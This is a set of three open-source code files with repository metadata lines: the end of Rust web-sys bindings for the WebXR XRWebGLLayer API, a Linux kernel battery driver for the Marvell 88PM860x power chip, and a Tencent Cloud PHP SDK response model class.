method."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/getNativeFramebufferScaleFactor)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `XrSession`, `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn get_native_framebuffer_scale_factor(session: &XrSession) -> f64; #[cfg(web_sys_unstable_apis)] #[cfg(all(feature = "XrView", feature = "XrViewport",))] # [wasm_bindgen (method , structural , js_class = "XRWebGLLayer" , js_name = getViewport)] #[doc = "The `getViewport()` method."] #[doc = ""] #[doc = "[MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/XRWebGLLayer/getViewport)"] #[doc = ""] #[doc = "*This API requires the following crate features to be activated: `XrView`, `XrViewport`, `XrWebGlLayer`*"] #[doc = ""] #[doc = "*This API is unstable and requires `--cfg=web_sys_unstable_apis` to be activated, as"] #[doc = "[described in the `wasm-bindgen` guide](https://rustwasm.github.io/docs/wasm-bindgen/web-sys/unstable-apis.html)*"] pub fn get_viewport(this: &XrWebGlLayer, view: &XrView) -> Option<XrViewport>; }
{'repo_name': 'rustwasm/wasm-bindgen', 'stars': '3372', 'repo_language': 'Rust', 'file_name': 'Cargo.toml', 'mime_type': 'text/plain', 'hash': 7651561326880043780, 'source_dataset': 'data'}
/* * Battery driver for Marvell 88PM860x PMIC * * Copyright (c) 2012 Marvell International Ltd. * Author: Jett Zhou <jtzhou@marvell.com> * Haojian Zhuang <haojian.zhuang@marvell.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/platform_device.h> #include <linux/slab.h> #include <linux/mutex.h> #include <linux/string.h> #include <linux/power_supply.h> #include <linux/mfd/88pm860x.h> #include <linux/delay.h> /* bit definitions of Status Query Interface 2 */ #define STATUS2_CHG (1 << 2) #define STATUS2_BAT (1 << 3) #define STATUS2_VBUS (1 << 4) /* bit definitions of Measurement Enable 1 Register */ #define MEAS1_TINT (1 << 3) #define MEAS1_GP1 (1 << 5) /* bit definitions of Measurement Enable 3 Register */ #define MEAS3_IBAT (1 << 0) #define MEAS3_BAT_DET (1 << 1) #define MEAS3_CC (1 << 2) /* bit definitions of Measurement Off Time Register */ #define MEAS_OFF_SLEEP_EN (1 << 1) /* bit definitions of GPADC Bias Current 2 Register */ #define GPBIAS2_GPADC1_SET (2 << 4) /* GPADC1 Bias Current value in uA unit */ #define GPBIAS2_GPADC1_UA ((GPBIAS2_GPADC1_SET >> 4) * 5 + 1) /* bit definitions of GPADC Misc 1 Register */ #define GPMISC1_GPADC_EN (1 << 0) /* bit definitions of Charger Control 6 Register */ #define CC6_BAT_DET_GPADC1 1 /* bit definitions of Coulomb Counter Reading Register */ #define CCNT_AVG_SEL (4 << 3) /* bit definitions of RTC miscellaneous Register1 */ #define RTC_SOC_5LSB (0x1F << 3) /* bit definitions of RTC Register1 */ #define RTC_SOC_3MSB (0x7) /* bit definitions of Power up Log register */ #define BAT_WU_LOG (1<<6) /* coulomb counter index */ #define CCNT_POS1 0 #define CCNT_POS2 1 #define CCNT_NEG1 2 #define CCNT_NEG2 3 #define CCNT_SPOS 4 #define CCNT_SNEG 5 /* OCV -- Open Circuit Voltage */ #define OCV_MODE_ACTIVE 0 #define OCV_MODE_SLEEP 1 /* Vbat range of CC for measuring Rbat */ #define LOW_BAT_THRESHOLD 3600 #define VBATT_RESISTOR_MIN 3800 #define VBATT_RESISTOR_MAX 4100 /* TBAT for batt, TINT for chip itself */ #define PM860X_TEMP_TINT (0) #define PM860X_TEMP_TBAT (1) /* * Battery temperature based on NTC resistor, defined * corresponding resistor value -- Ohm / C degeree. */ #define TBAT_NEG_25D 127773 /* -25 */ #define TBAT_NEG_10D 54564 /* -10 */ #define TBAT_0D 32330 /* 0 */ #define TBAT_10D 19785 /* 10 */ #define TBAT_20D 12468 /* 20 */ #define TBAT_30D 8072 /* 30 */ #define TBAT_40D 5356 /* 40 */ struct pm860x_battery_info { struct pm860x_chip *chip; struct i2c_client *i2c; struct device *dev; struct power_supply *battery; struct mutex lock; int status; int irq_cc; int irq_batt; int max_capacity; int resistor; /* Battery Internal Resistor */ int last_capacity; int start_soc; unsigned present:1; unsigned temp_type:1; /* TINT or TBAT */ }; struct ccnt { unsigned long long int pos; unsigned long long int neg; unsigned int spos; unsigned int sneg; int total_chg; /* mAh(3.6C) */ int total_dischg; /* mAh(3.6C) */ }; /* * State of Charge. * The first number is mAh(=3.6C), and the second number is percent point. */ static int array_soc[][2] = { {4170, 100}, {4154, 99}, {4136, 98}, {4122, 97}, {4107, 96}, {4102, 95}, {4088, 94}, {4081, 93}, {4070, 92}, {4060, 91}, {4053, 90}, {4044, 89}, {4035, 88}, {4028, 87}, {4019, 86}, {4013, 85}, {4006, 84}, {3995, 83}, {3987, 82}, {3982, 81}, {3976, 80}, {3968, 79}, {3962, 78}, {3954, 77}, {3946, 76}, {3941, 75}, {3934, 74}, {3929, 73}, {3922, 72}, {3916, 71}, {3910, 70}, {3904, 69}, {3898, 68}, {3892, 67}, {3887, 66}, {3880, 65}, {3874, 64}, {3868, 63}, {3862, 62}, {3854, 61}, {3849, 60}, {3843, 59}, {3840, 58}, {3833, 57}, {3829, 56}, {3824, 55}, {3818, 54}, {3815, 53}, {3810, 52}, {3808, 51}, {3804, 50}, {3801, 49}, {3798, 48}, {3796, 47}, {3792, 46}, {3789, 45}, {3785, 44}, {3784, 43}, {3782, 42}, {3780, 41}, {3777, 40}, {3776, 39}, {3774, 38}, {3772, 37}, {3771, 36}, {3769, 35}, {3768, 34}, {3764, 33}, {3763, 32}, {3760, 31}, {3760, 30}, {3754, 29}, {3750, 28}, {3749, 27}, {3744, 26}, {3740, 25}, {3734, 24}, {3732, 23}, {3728, 22}, {3726, 21}, {3720, 20}, {3716, 19}, {3709, 18}, {3703, 17}, {3698, 16}, {3692, 15}, {3683, 14}, {3675, 13}, {3670, 12}, {3665, 11}, {3661, 10}, {3649, 9}, {3637, 8}, {3622, 7}, {3609, 6}, {3580, 5}, {3558, 4}, {3540, 3}, {3510, 2}, {3429, 1}, }; static struct ccnt ccnt_data; /* * register 1 bit[7:0] -- bit[11:4] of measured value of voltage * register 0 bit[3:0] -- bit[3:0] of measured value of voltage */ static int measure_12bit_voltage(struct pm860x_battery_info *info, int offset, int *data) { unsigned char buf[2]; int ret; ret = pm860x_bulk_read(info->i2c, offset, 2, buf); if (ret < 0) return ret; *data = ((buf[0] & 0xff) << 4) | (buf[1] & 0x0f); /* V_MEAS(mV) = data * 1.8 * 1000 / (2^12) */ *data = ((*data & 0xfff) * 9 * 25) >> 9; return 0; } static int measure_vbatt(struct pm860x_battery_info *info, int state, int *data) { unsigned char buf[5]; int ret; switch (state) { case OCV_MODE_ACTIVE: ret = measure_12bit_voltage(info, PM8607_VBAT_MEAS1, data); if (ret) return ret; /* V_BATT_MEAS(mV) = value * 3 * 1.8 * 1000 / (2^12) */ *data *= 3; break; case OCV_MODE_SLEEP: /* * voltage value of VBATT in sleep mode is saved in different * registers. * bit[11:10] -- bit[7:6] of LDO9(0x18) * bit[9:8] -- bit[7:6] of LDO8(0x17) * bit[7:6] -- bit[7:6] of LDO7(0x16) * bit[5:4] -- bit[7:6] of LDO6(0x15) * bit[3:0] -- bit[7:4] of LDO5(0x14) */ ret = pm860x_bulk_read(info->i2c, PM8607_LDO5, 5, buf); if (ret < 0) return ret; ret = ((buf[4] >> 6) << 10) | ((buf[3] >> 6) << 8) | ((buf[2] >> 6) << 6) | ((buf[1] >> 6) << 4) | (buf[0] >> 4); /* V_BATT_MEAS(mV) = data * 3 * 1.8 * 1000 / (2^12) */ *data = ((*data & 0xff) * 27 * 25) >> 9; break; default: return -EINVAL; } return 0; } /* * Return value is signed data. * Negative value means discharging, and positive value means charging. */ static int measure_current(struct pm860x_battery_info *info, int *data) { unsigned char buf[2]; short s; int ret; ret = pm860x_bulk_read(info->i2c, PM8607_IBAT_MEAS1, 2, buf); if (ret < 0) return ret; s = ((buf[0] & 0xff) << 8) | (buf[1] & 0xff); /* current(mA) = value * 0.125 */ *data = s >> 3; return 0; } static int set_charger_current(struct pm860x_battery_info *info, int data, int *old) { int ret; if (data < 50 || data > 1600 || !old) return -EINVAL; data = ((data - 50) / 50) & 0x1f; *old = pm860x_reg_read(info->i2c, PM8607_CHG_CTRL2); *old = (*old & 0x1f) * 50 + 50; ret = pm860x_set_bits(info->i2c, PM8607_CHG_CTRL2, 0x1f, data); if (ret < 0) return ret; return 0; } static int read_ccnt(struct pm860x_battery_info *info, int offset, int *ccnt) { unsigned char buf[2]; int ret; ret = pm860x_set_bits(info->i2c, PM8607_CCNT, 7, offset & 7); if (ret < 0) goto out; ret = pm860x_bulk_read(info->i2c, PM8607_CCNT_MEAS1, 2, buf); if (ret < 0) goto out; *ccnt = ((buf[0] & 0xff) << 8) | (buf[1] & 0xff); return 0; out: return ret; } static int calc_ccnt(struct pm860x_battery_info *info, struct ccnt *ccnt) { unsigned int sum; int ret; int data; ret = read_ccnt(info, CCNT_POS1, &data); if (ret) goto out; sum = data & 0xffff; ret = read_ccnt(info, CCNT_POS2, &data); if (ret) goto out; sum |= (data & 0xffff) << 16; ccnt->pos += sum; ret = read_ccnt(info, CCNT_NEG1, &data); if (ret) goto out; sum = data & 0xffff; ret = read_ccnt(info, CCNT_NEG2, &data); if (ret) goto out; sum |= (data & 0xffff) << 16; sum = ~sum + 1; /* since it's negative */ ccnt->neg += sum; ret = read_ccnt(info, CCNT_SPOS, &data); if (ret) goto out; ccnt->spos += data; ret = read_ccnt(info, CCNT_SNEG, &data); if (ret) goto out; /* * charge(mAh) = count * 1.6984 * 1e(-8) * = count * 16984 * 1.024 * 1.024 * 1.024 / (2 ^ 40) * = count * 18236 / (2 ^ 40) */ ccnt->total_chg = (int) ((ccnt->pos * 18236) >> 40); ccnt->total_dischg = (int) ((ccnt->neg * 18236) >> 40); return 0; out: return ret; } static int clear_ccnt(struct pm860x_battery_info *info, struct ccnt *ccnt) { int data; memset(ccnt, 0, sizeof(*ccnt)); /* read to clear ccnt */ read_ccnt(info, CCNT_POS1, &data); read_ccnt(info, CCNT_POS2, &data); read_ccnt(info, CCNT_NEG1, &data); read_ccnt(info, CCNT_NEG2, &data); read_ccnt(info, CCNT_SPOS, &data); read_ccnt(info, CCNT_SNEG, &data); return 0; } /* Calculate Open Circuit Voltage */ static int calc_ocv(struct pm860x_battery_info *info, int *ocv) { int ret; int i; int data; int vbatt_avg; int vbatt_sum; int ibatt_avg; int ibatt_sum; if (!ocv) return -EINVAL; for (i = 0, ibatt_sum = 0, vbatt_sum = 0; i < 10; i++) { ret = measure_vbatt(info, OCV_MODE_ACTIVE, &data); if (ret) goto out; vbatt_sum += data; ret = measure_current(info, &data); if (ret) goto out; ibatt_sum += data; } vbatt_avg = vbatt_sum / 10; ibatt_avg = ibatt_sum / 10; mutex_lock(&info->lock); if (info->present) *ocv = vbatt_avg - ibatt_avg * info->resistor / 1000; else *ocv = vbatt_avg; mutex_unlock(&info->lock); dev_dbg(info->dev, "VBAT average:%d, OCV:%d\n", vbatt_avg, *ocv); return 0; out: return ret; } /* Calculate State of Charge (percent points) */ static int calc_soc(struct pm860x_battery_info *info, int state, int *soc) { int i; int ocv; int count; int ret = -EINVAL; if (!soc) return -EINVAL; switch (state) { case OCV_MODE_ACTIVE: ret = calc_ocv(info, &ocv); break; case OCV_MODE_SLEEP: ret = measure_vbatt(info, OCV_MODE_SLEEP, &ocv); break; } if (ret) return ret; count = ARRAY_SIZE(array_soc); if (ocv < array_soc[count - 1][0]) { *soc = 0; return 0; } for (i = 0; i < count; i++) { if (ocv >= array_soc[i][0]) { *soc = array_soc[i][1]; break; } } return 0; } static irqreturn_t pm860x_coulomb_handler(int irq, void *data) { struct pm860x_battery_info *info = data; calc_ccnt(info, &ccnt_data); return IRQ_HANDLED; } static irqreturn_t pm860x_batt_handler(int irq, void *data) { struct pm860x_battery_info *info = data; int ret; mutex_lock(&info->lock); ret = pm860x_reg_read(info->i2c, PM8607_STATUS_2); if (ret & STATUS2_BAT) { info->present = 1; info->temp_type = PM860X_TEMP_TBAT; } else { info->present = 0; info->temp_type = PM860X_TEMP_TINT; } mutex_unlock(&info->lock); /* clear ccnt since battery is attached or dettached */ clear_ccnt(info, &ccnt_data); return IRQ_HANDLED; } static void pm860x_init_battery(struct pm860x_battery_info *info) { unsigned char buf[2]; int ret; int data; int bat_remove; int soc; /* measure enable on GPADC1 */ data = MEAS1_GP1; if (info->temp_type == PM860X_TEMP_TINT) data |= MEAS1_TINT; ret = pm860x_set_bits(info->i2c, PM8607_MEAS_EN1, data, data); if (ret) goto out; /* measure enable on IBAT, BAT_DET, CC. IBAT is depend on CC. */ data = MEAS3_IBAT | MEAS3_BAT_DET | MEAS3_CC; ret = pm860x_set_bits(info->i2c, PM8607_MEAS_EN3, data, data); if (ret) goto out; /* measure disable CC in sleep time */ ret = pm860x_reg_write(info->i2c, PM8607_MEAS_OFF_TIME1, 0x82); if (ret) goto out; ret = pm860x_reg_write(info->i2c, PM8607_MEAS_OFF_TIME2, 0x6c); if (ret) goto out; /* enable GPADC */ ret = pm860x_set_bits(info->i2c, PM8607_GPADC_MISC1, GPMISC1_GPADC_EN, GPMISC1_GPADC_EN); if (ret < 0) goto out; /* detect battery via GPADC1 */ ret = pm860x_set_bits(info->i2c, PM8607_CHG_CTRL6, CC6_BAT_DET_GPADC1, CC6_BAT_DET_GPADC1); if (ret < 0) goto out; ret = pm860x_set_bits(info->i2c, PM8607_CCNT, 7 << 3, CCNT_AVG_SEL); if (ret < 0) goto out; /* set GPADC1 bias */ ret = pm860x_set_bits(info->i2c, PM8607_GP_BIAS2, 0xF << 4, GPBIAS2_GPADC1_SET); if (ret < 0) goto out; /* check whether battery present) */ mutex_lock(&info->lock); ret = pm860x_reg_read(info->i2c, PM8607_STATUS_2); if (ret < 0) { mutex_unlock(&info->lock); goto out; } if (ret & STATUS2_BAT) { info->present = 1; info->temp_type = PM860X_TEMP_TBAT; } else { info->present = 0; info->temp_type = PM860X_TEMP_TINT; } mutex_unlock(&info->lock); calc_soc(info, OCV_MODE_ACTIVE, &soc); data = pm860x_reg_read(info->i2c, PM8607_POWER_UP_LOG); bat_remove = data & BAT_WU_LOG; dev_dbg(info->dev, "battery wake up? %s\n", bat_remove != 0 ? "yes" : "no"); /* restore SOC from RTC domain register */ if (bat_remove == 0) { buf[0] = pm860x_reg_read(info->i2c, PM8607_RTC_MISC2); buf[1] = pm860x_reg_read(info->i2c, PM8607_RTC1); data = ((buf[1] & 0x3) << 5) | ((buf[0] >> 3) & 0x1F); if (data > soc + 15) info->start_soc = soc; else if (data < soc - 15) info->start_soc = soc; else info->start_soc = data; dev_dbg(info->dev, "soc_rtc %d, soc_ocv :%d\n", data, soc); } else { pm860x_set_bits(info->i2c, PM8607_POWER_UP_LOG, BAT_WU_LOG, BAT_WU_LOG); info->start_soc = soc; } info->last_capacity = info->start_soc; dev_dbg(info->dev, "init soc : %d\n", info->last_capacity); out: return; } static void set_temp_threshold(struct pm860x_battery_info *info, int min, int max) { int data; /* (tmp << 8) / 1800 */ if (min <= 0) data = 0; else data = (min << 8) / 1800; pm860x_reg_write(info->i2c, PM8607_GPADC1_HIGHTH, data); dev_dbg(info->dev, "TEMP_HIGHTH : min: %d, 0x%x\n", min, data); if (max <= 0) data = 0xff; else data = (max << 8) / 1800; pm860x_reg_write(info->i2c, PM8607_GPADC1_LOWTH, data); dev_dbg(info->dev, "TEMP_LOWTH:max : %d, 0x%x\n", max, data); } static int measure_temp(struct pm860x_battery_info *info, int *data) { int ret; int temp; int min; int max; if (info->temp_type == PM860X_TEMP_TINT) { ret = measure_12bit_voltage(info, PM8607_TINT_MEAS1, data); if (ret) return ret; *data = (*data - 884) * 1000 / 3611; } else { ret = measure_12bit_voltage(info, PM8607_GPADC1_MEAS1, data); if (ret) return ret; /* meausered Vtbat(mV) / Ibias_current(11uA)*/ *data = (*data * 1000) / GPBIAS2_GPADC1_UA; if (*data > TBAT_NEG_25D) { temp = -30; /* over cold , suppose -30 roughly */ max = TBAT_NEG_10D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, 0, max); } else if (*data > TBAT_NEG_10D) { temp = -15; /* -15 degree, code */ max = TBAT_NEG_10D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, 0, max); } else if (*data > TBAT_0D) { temp = -5; /* -5 degree */ min = TBAT_NEG_10D * GPBIAS2_GPADC1_UA / 1000; max = TBAT_40D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, min, max); } else if (*data > TBAT_10D) { temp = 5; /* in range of (0, 10) */ min = TBAT_NEG_10D * GPBIAS2_GPADC1_UA / 1000; max = TBAT_40D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, min, max); } else if (*data > TBAT_20D) { temp = 15; /* in range of (10, 20) */ min = TBAT_NEG_10D * GPBIAS2_GPADC1_UA / 1000; max = TBAT_40D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, min, max); } else if (*data > TBAT_30D) { temp = 25; /* in range of (20, 30) */ min = TBAT_NEG_10D * GPBIAS2_GPADC1_UA / 1000; max = TBAT_40D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, min, max); } else if (*data > TBAT_40D) { temp = 35; /* in range of (30, 40) */ min = TBAT_NEG_10D * GPBIAS2_GPADC1_UA / 1000; max = TBAT_40D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, min, max); } else { min = TBAT_40D * GPBIAS2_GPADC1_UA / 1000; set_temp_threshold(info, min, 0); temp = 45; /* over heat ,suppose 45 roughly */ } dev_dbg(info->dev, "temp_C:%d C,temp_mv:%d mv\n", temp, *data); *data = temp; } return 0; } static int calc_resistor(struct pm860x_battery_info *info) { int vbatt_sum1; int vbatt_sum2; int chg_current; int ibatt_sum1; int ibatt_sum2; int data; int ret; int i; ret = measure_current(info, &data); /* make sure that charging is launched by data > 0 */ if (ret || data < 0) goto out; ret = measure_vbatt(info, OCV_MODE_ACTIVE, &data); if (ret) goto out; /* calculate resistor only in CC charge mode */ if (data < VBATT_RESISTOR_MIN || data > VBATT_RESISTOR_MAX) goto out; /* current is saved */ if (set_charger_current(info, 500, &chg_current)) goto out; /* * set charge current as 500mA, wait about 500ms till charging * process is launched and stable with the newer charging current. */ msleep(500); for (i = 0, vbatt_sum1 = 0, ibatt_sum1 = 0; i < 10; i++) { ret = measure_vbatt(info, OCV_MODE_ACTIVE, &data); if (ret) goto out_meas; vbatt_sum1 += data; ret = measure_current(info, &data); if (ret) goto out_meas; if (data < 0) ibatt_sum1 = ibatt_sum1 - data; /* discharging */ else ibatt_sum1 = ibatt_sum1 + data; /* charging */ } if (set_charger_current(info, 100, &ret)) goto out_meas; /* * set charge current as 100mA, wait about 500ms till charging * process is launched and stable with the newer charging current. */ msleep(500); for (i = 0, vbatt_sum2 = 0, ibatt_sum2 = 0; i < 10; i++) { ret = measure_vbatt(info, OCV_MODE_ACTIVE, &data); if (ret) goto out_meas; vbatt_sum2 += data; ret = measure_current(info, &data); if (ret) goto out_meas; if (data < 0) ibatt_sum2 = ibatt_sum2 - data; /* discharging */ else ibatt_sum2 = ibatt_sum2 + data; /* charging */ } /* restore current setting */ if (set_charger_current(info, chg_current, &ret)) goto out_meas; if ((vbatt_sum1 > vbatt_sum2) && (ibatt_sum1 > ibatt_sum2) && (ibatt_sum2 > 0)) { /* calculate resistor in discharging case */ data = 1000 * (vbatt_sum1 - vbatt_sum2) / (ibatt_sum1 - ibatt_sum2); if ((data - info->resistor > 0) && (data - info->resistor < info->resistor)) info->resistor = data; if ((info->resistor - data > 0) && (info->resistor - data < data)) info->resistor = data; } return 0; out_meas: set_charger_current(info, chg_current, &ret); out: return -EINVAL; } static int calc_capacity(struct pm860x_battery_info *info, int *cap) { int ret; int data; int ibat; int cap_ocv = 0; int cap_cc = 0; ret = calc_ccnt(info, &ccnt_data); if (ret) goto out; soc: data = info->max_capacity * info->start_soc / 100; if (ccnt_data.total_dischg - ccnt_data.total_chg <= data) { cap_cc = data + ccnt_data.total_chg - ccnt_data.total_dischg; } else { clear_ccnt(info, &ccnt_data); calc_soc(info, OCV_MODE_ACTIVE, &info->start_soc); dev_dbg(info->dev, "restart soc = %d !\n", info->start_soc); goto soc; } cap_cc = cap_cc * 100 / info->max_capacity; if (cap_cc < 0) cap_cc = 0; else if (cap_cc > 100) cap_cc = 100; dev_dbg(info->dev, "%s, last cap : %d", __func__, info->last_capacity); ret = measure_current(info, &ibat); if (ret) goto out; /* Calculate the capacity when discharging(ibat < 0) */ if (ibat < 0) { ret = calc_soc(info, OCV_MODE_ACTIVE, &cap_ocv); if (ret) cap_ocv = info->last_capacity; ret = measure_vbatt(info, OCV_MODE_ACTIVE, &data); if (ret) goto out; if (data <= LOW_BAT_THRESHOLD) { /* choose the lower capacity value to report * between vbat and CC when vbat < 3.6v; * than 3.6v; */ *cap = min(cap_ocv, cap_cc); } else { /* when detect vbat > 3.6v, but cap_cc < 15,and * cap_ocv is 10% larger than cap_cc, we can think * CC have some accumulation error, switch to OCV * to estimate capacity; * */ if (cap_cc < 15 && cap_ocv - cap_cc > 10) *cap = cap_ocv; else *cap = cap_cc; } /* when discharging, make sure current capacity * is lower than last*/ if (*cap > info->last_capacity) *cap = info->last_capacity; } else { *cap = cap_cc; } info->last_capacity = *cap; dev_dbg(info->dev, "%s, cap_ocv:%d cap_cc:%d, cap:%d\n", (ibat < 0) ? "discharging" : "charging", cap_ocv, cap_cc, *cap); /* * store the current capacity to RTC domain register, * after next power up , it will be restored. */ pm860x_set_bits(info->i2c, PM8607_RTC_MISC2, RTC_SOC_5LSB, (*cap & 0x1F) << 3); pm860x_set_bits(info->i2c, PM8607_RTC1, RTC_SOC_3MSB, ((*cap >> 5) & 0x3)); return 0; out: return ret; } static void pm860x_external_power_changed(struct power_supply *psy) { struct pm860x_battery_info *info = dev_get_drvdata(psy->dev.parent); calc_resistor(info); } static int pm860x_batt_get_prop(struct power_supply *psy, enum power_supply_property psp, union power_supply_propval *val) { struct pm860x_battery_info *info = dev_get_drvdata(psy->dev.parent); int data; int ret; switch (psp) { case POWER_SUPPLY_PROP_PRESENT: val->intval = info->present; break; case POWER_SUPPLY_PROP_CAPACITY: ret = calc_capacity(info, &data); if (ret) return ret; if (data < 0) data = 0; else if (data > 100) data = 100; /* return 100 if battery is not attached */ if (!info->present) data = 100; val->intval = data; break; case POWER_SUPPLY_PROP_TECHNOLOGY: val->intval = POWER_SUPPLY_TECHNOLOGY_LION; break; case POWER_SUPPLY_PROP_VOLTAGE_NOW: /* return real vbatt Voltage */ ret = measure_vbatt(info, OCV_MODE_ACTIVE, &data); if (ret) return ret; val->intval = data * 1000; break; case POWER_SUPPLY_PROP_VOLTAGE_AVG: /* return Open Circuit Voltage (not measured voltage) */ ret = calc_ocv(info, &data); if (ret) return ret; val->intval = data * 1000; break; case POWER_SUPPLY_PROP_CURRENT_NOW: ret = measure_current(info, &data); if (ret) return ret; val->intval = data; break; case POWER_SUPPLY_PROP_TEMP: if (info->present) { ret = measure_temp(info, &data); if (ret) return ret; data *= 10; } else { /* Fake Temp 25C Without Battery */ data = 250; } val->intval = data; break; default: return -ENODEV; } return 0; } static int pm860x_batt_set_prop(struct power_supply *psy, enum power_supply_property psp, const union power_supply_propval *val) { struct pm860x_battery_info *info = dev_get_drvdata(psy->dev.parent); switch (psp) { case POWER_SUPPLY_PROP_CHARGE_FULL: clear_ccnt(info, &ccnt_data); info->start_soc = 100; dev_dbg(info->dev, "chg done, update soc = %d\n", info->start_soc); break; default: return -EPERM; } return 0; } static enum power_supply_property pm860x_batt_props[] = { POWER_SUPPLY_PROP_PRESENT, POWER_SUPPLY_PROP_CAPACITY, POWER_SUPPLY_PROP_TECHNOLOGY, POWER_SUPPLY_PROP_VOLTAGE_NOW, POWER_SUPPLY_PROP_VOLTAGE_AVG, POWER_SUPPLY_PROP_CURRENT_NOW, POWER_SUPPLY_PROP_TEMP, }; static const struct power_supply_desc pm860x_battery_desc = { .name = "battery-monitor", .type = POWER_SUPPLY_TYPE_BATTERY, .properties = pm860x_batt_props, .num_properties = ARRAY_SIZE(pm860x_batt_props), .get_property = pm860x_batt_get_prop, .set_property = pm860x_batt_set_prop, .external_power_changed = pm860x_external_power_changed, }; static int pm860x_battery_probe(struct platform_device *pdev) { struct pm860x_chip *chip = dev_get_drvdata(pdev->dev.parent); struct pm860x_battery_info *info; struct pm860x_power_pdata *pdata; int ret; info = devm_kzalloc(&pdev->dev, sizeof(*info), GFP_KERNEL); if (!info) return -ENOMEM; info->irq_cc = platform_get_irq(pdev, 0); if (info->irq_cc <= 0) { dev_err(&pdev->dev, "No IRQ resource!\n"); return -EINVAL; } info->irq_batt = platform_get_irq(pdev, 1); if (info->irq_batt <= 0) { dev_err(&pdev->dev, "No IRQ resource!\n"); return -EINVAL; } info->chip = chip; info->i2c = (chip->id == CHIP_PM8607) ? chip->client : chip->companion; info->dev = &pdev->dev; info->status = POWER_SUPPLY_STATUS_UNKNOWN; pdata = pdev->dev.platform_data; mutex_init(&info->lock); platform_set_drvdata(pdev, info); pm860x_init_battery(info); if (pdata && pdata->max_capacity) info->max_capacity = pdata->max_capacity; else info->max_capacity = 1500; /* set default capacity */ if (pdata && pdata->resistor) info->resistor = pdata->resistor; else info->resistor = 300; /* set default internal resistor */ info->battery = devm_power_supply_register(&pdev->dev, &pm860x_battery_desc, NULL); if (IS_ERR(info->battery)) return PTR_ERR(info->battery); info->battery->dev.parent = &pdev->dev; ret = devm_request_threaded_irq(chip->dev, info->irq_cc, NULL, pm860x_coulomb_handler, IRQF_ONESHOT, "coulomb", info); if (ret < 0) { dev_err(chip->dev, "Failed to request IRQ: #%d: %d\n", info->irq_cc, ret); return ret; } ret = devm_request_threaded_irq(chip->dev, info->irq_batt, NULL, pm860x_batt_handler, IRQF_ONESHOT, "battery", info); if (ret < 0) { dev_err(chip->dev, "Failed to request IRQ: #%d: %d\n", info->irq_batt, ret); return ret; } return 0; } #ifdef CONFIG_PM_SLEEP static int pm860x_battery_suspend(struct device *dev) { struct platform_device *pdev = to_platform_device(dev); struct pm860x_chip *chip = dev_get_drvdata(pdev->dev.parent); if (device_may_wakeup(dev)) chip->wakeup_flag |= 1 << PM8607_IRQ_CC; return 0; } static int pm860x_battery_resume(struct device *dev) { struct platform_device *pdev = to_platform_device(dev); struct pm860x_chip *chip = dev_get_drvdata(pdev->dev.parent); if (device_may_wakeup(dev)) chip->wakeup_flag &= ~(1 << PM8607_IRQ_CC); return 0; } #endif static SIMPLE_DEV_PM_OPS(pm860x_battery_pm_ops, pm860x_battery_suspend, pm860x_battery_resume); static struct platform_driver pm860x_battery_driver = { .driver = { .name = "88pm860x-battery", .pm = &pm860x_battery_pm_ops, }, .probe = pm860x_battery_probe, }; module_platform_driver(pm860x_battery_driver); MODULE_DESCRIPTION("Marvell 88PM860x Battery driver"); MODULE_LICENSE("GPL");
{'repo_name': 'google/capsicum-linux', 'stars': '198', 'repo_language': 'C', 'file_name': 'flexcop-misc.c', 'mime_type': 'text/x-c', 'hash': -8636509047168499041, 'source_dataset': 'data'}
<?php /* * Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace TencentCloud\Tbaas\V20180416\Models; use TencentCloud\Common\AbstractModel; /** * SendTransactionHandler返回参数结构体 * * @method string getTransactionRsp() 获取交易结果json字符串 * @method void setTransactionRsp(string $TransactionRsp) 设置交易结果json字符串 * @method string getRequestId() 获取唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 * @method void setRequestId(string $RequestId) 设置唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 */ class SendTransactionHandlerResponse extends AbstractModel { /** * @var string 交易结果json字符串 */ public $TransactionRsp; /** * @var string 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 */ public $RequestId; /** * @param string $TransactionRsp 交易结果json字符串 * @param string $RequestId 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 */ function __construct() { } /** * For internal only. DO NOT USE IT. */ public function deserialize($param) { if ($param === null) { return; } if (array_key_exists("TransactionRsp",$param) and $param["TransactionRsp"] !== null) { $this->TransactionRsp = $param["TransactionRsp"]; } if (array_key_exists("RequestId",$param) and $param["RequestId"] !== null) { $this->RequestId = $param["RequestId"]; } } }
{'repo_name': 'TencentCloud/tencentcloud-sdk-php', 'stars': '178', 'repo_language': 'PHP', 'file_name': 'init_oral_process.php', 'mime_type': 'text/x-php', 'hash': 2532824027158013596, 'source_dataset': 'data'}
